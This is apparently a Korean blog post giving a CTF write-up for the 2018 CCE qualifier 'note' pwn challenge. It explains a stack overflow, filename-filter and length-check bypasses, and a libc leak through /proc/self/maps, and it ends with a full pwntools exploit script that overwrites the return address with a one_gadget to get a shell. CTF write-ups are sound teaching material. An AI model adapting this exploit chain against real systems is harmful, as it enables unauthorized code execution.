ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 2018 CCE Qual Writeup - note [pwn]
    System/CTF 2018. 10. 2. 05:16

    [ Binary Info ]

    # Binary : 64Bit ELF

    # Full RELRO

    # No Canary

    # NX Enable

    # PIE Enable


    [ Binary Execute ]

    - 바이너리를 실행하면, 다른 note 문제들 처럼 추가/삭제/보기/실행 메뉴를 출력해준다.

    IDA로 정적분석을 해보자




    [ 정적분석 ]

    - 바이너리의 main( )부분이며, Hidden Menu는 따로 존재하지 않는다.



    [ Delete_note( ) ]

    - add_note( )에서 malloc( )으로 동적할당을 하지만, Delete( )때 Free를 하지 않는다.

    따라서, Use After Free를 이용한 문제는 아닌 것 같다.


    [ Execute_note( ) ]

    - 취약점은 Execute_note( )에서 발생한다.

    Execute_note( )에서는 입력한 경로에 있는 파일을 open( )으로 열어서

    read로 읽고, write로 출력해주는 기능을 한다.

    이때, 파일내용을 3072byte만큼 s로 읽어오는데 s는 3040byte이기 때문에 BoF가 발생한다.

    단, 취약점 트리거 하기까지 몇가지 조건을 맞춰줘야 한다.


    [ Filename Filter ]

    - 우선 입력한 Filename에 strstr( )로 flag / nu 가 포함되어 있는지 확인하며

    strncmp로 포함된 파일경로가 proc / sys 인지 확인하는 분기문이 있다.


    [ open_func ]

    - open_func에서는 입력한 파일이름 길이를 확인하는 분기문이 존재한다.

    입력한 파일이름이 70글자 이상이어야 제대로된 fd값을 반환한다.


    근데 여기서 한가지 의아한 점이 있다.

    필터링 조건은 우회한다고 쳐도, 두번째 파일길이 조건은 어떻게 우회하는가?

    정답은 SSH접속에 있다.

    보통 Pwn문제들은 nc접속정보만 주는게 대부분이지만, 이 note문제는 ssh접속정보를 줬다.

    이런 경우는 로컬익스, 즉 로컬에서 어떤 행동을 해야하는 형태의 문제일 가능성이 높다.

    이번 문제에서는 최상위경로에 /tmp 라는 폴더가 존재했고, 유저레벨에서 쓰기권한이 가능한 폴더였다.

    따라서, /tmp에 자신만의 하위폴더를 만들고 익스에 필요한 파일을 만들어서 진행하면 된다.


    [ RET Handling ]


    이렇게 모든 조건을 만족해서 취약점을 트리거하면 RIP를 핸들링할 수 있게 된다.




    [ Exploit#1 ]

    자 그럼 어떤 방법으로 Exploit를 할 것인가

    Full RELRO이기 때문에 GOT Overwrite는 안될 뿐더러, PIE때문에 제대로된 주소값도 얻을 수 없다.

    또한 NX가 걸려있어 쉘코드를 이용하는 방법도 불가능하다.


    하지만, 이 문제는 '로컬익스'이기 때문에 바이너리에 로드된 libc_base주소를 얻어올 수 있다.

    각 프로세스들을 관리하는 /proc/하위폴더에 [PID]/maps파일로 바이너리 메모리정보들이 저장되어 있다.


    대신 한가지 문제가 있다.

    ps명령어는 권한문제로 사용 불가능하기 때문에 바이너리PID를 얻어올 수 없다.

    이 문제는 /proc/self/maps로 해결할 수 있다.


    [?]/proc/self/maps

    /proc/self/maps파일에는 가장 최근에 실행된 바이너리의 메모리정보가 저장되어 있다.

    cat으로 /proc/self/maps를 확인했을 때, /bin/cat의 메모리정보를 출력해주는 것을 확인할 수 있다.


    우린 note의 메모리정보를 확인해야 하기 때문에, note바이너리를 통해서 /proc/self/maps을 읽어들어야 한다.

    - 빨간박스에서 파일에서 읽어들인 정보를 write( )로 출력해준다.

    이 부분을 이용해서 /proc/self/maps에서 libc_base정보를 leak하면 되겠다.



    [ Exploit#2 ]

    libc_base leak을 트리거 하기까지의 제약조건들이 있다.

    1. Filename Filtering

    2. Filename Length Check

    3. '\n' Check


    [ Constraint#1 ]

    - Filtering에 사용되는 함수들을 잘 보자

    strstr( )는 문자열들중 'flag'라는 연속된 문자열이 있는지 처음부터 끝까지 확인하는 함수다.

    strncmp( )는 문자열에서 6자리가 /proc/인지 확인하는 함수다.

    따라서, 앞에 dummy~~~~/proc/이 입력되면 /proc/에 대한 필터링은 우회될 것이다.


    [ Filtering Bypass ]



    [ Constraint#2 ]

    - 파일길이 체크는 의외로 간단하게 우회할 수 있다.

    Linux는 파일경로에서 '/'문자가 여러개가 와도 하나만 인식하기 때문에 이 점을 이용하면 된다.


    [ Filename Length Bypass ]



    [ Constraint#3 ]

    - v5에는 읽어들인 파일내용의 '\n'(줄넘김) 갯수가 저장되는데, v5가 19이상 일 때

    즉, 파일내용의 줄넘김이 19개 이상일 때만 write( )가 실행된다.

    maps파일내용의 줄넘김 갯수는 19개 이상이 아니기 때문에 write( )이 실행되지 않는다..

    (눈으로 보기에는 넘어보이지만 실제로는 아닌가보다..)


    이 부분 우회하는게 제일 어려웠는데, 방법은 의외로 간단했다.

    메뉴 중 Add_note를 이용해서 동적할당을 무자비하게 해주면 maps 파일내용이 길어지면서

    줄넘김 갯수가 19개 이상을 넘어가는 시점이 오게된다.


    [ Add Script ]


    [ note libc_base leak ]

    이렇게 libc_base leak까지 해냈다.

    libc_base정보를 가지고 여러가지 방법이 있겠지만

    문제에서 Binary와 libc.so6 파일까지 제공해줬기 때문에, 나는 one_gadget툴을 이용했다.


    [ one_gadget ]

    libc_base에 해당 offset을 더한값을 RET에 덮어주면 쉘이 실행된다. (개꿀!)

    단, 밑에 Constraints을 만족해야한다.

    근데 저기로 JMP하면 RAX는 NULL이더라~




    [ Exploit#3 ]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    from pwn import *
     
    = process("./note")
     
    filename = "///////////////////////////////////////////////////////////////proc/self/maps"
    one_shot_offset = 0x45216
     
    def add(size):
        p.recvuntil("> ")
        p.sendline("1")
        p.recvuntil(": ")
        p.sendline(str(size))
        p.recvuntil(": ")
        p.sendline("ABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJKABCDEFGHIJK")
     
    add(123131245)
    add(1321423534)
    add(3131254320)
    add(3125349952)
    add(31939139)
    add(313452342)
    add(31244534)
    add(54645646)
    add(756745)
    add(423424)
    add(10000)
     
    print p.recv(1024)
    p.sendline("4")
    print p.recvuntil(": ")
    p.sendline(filename)
    p.recvuntil("\n")
    p.recvuntil("\n")
    p.recvuntil("\n")
    p.recvuntil("\n")
    p.recvuntil("\n")
    libc_base = int(p.recv(12),16)
    print "[!]libc_base : "+ hex(libc_base)
    one_shot =  libc_base + one_shot_offset
    print "[!]ont_shot : "+ hex(one_shot)
     
    payload = "A"*3040
    payload += "B"*8
    payload += p64(one_shot)
    payload += "\x00\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
     
     
    = open("/root/tmp/p/PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP",'w')
    f.write(payload)
    f.close()
     
    p.recvuntil("#")
    print p.recvuntil("> ")
    p.sendline("4")
    print p.recvuntil(": ")
    p.sendline("/root/tmp/p/PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP")
    p.interactive()
     
     
     
     
     
    cs

    허허.. 익스 좀 많이 thelove다..



    FLAG : CCE{res0urce_i5_v3ry_imp0rt4n7}


    'System > CTF' 카테고리의 다른 글

    [2019picoCTF] droids0  (0) 2019.10.12
    [64bit] FSB Exploit Generator  (0) 2019.07.10
    Meepwn 2018 White snow, Black shadow Writeup  (3) 2019.03.02
    TUCTF2018 lisa Writeup  (1) 2019.01.14
    CTF Tools 정리  (0) 2018.09.30

    댓글

Designed by Tistory.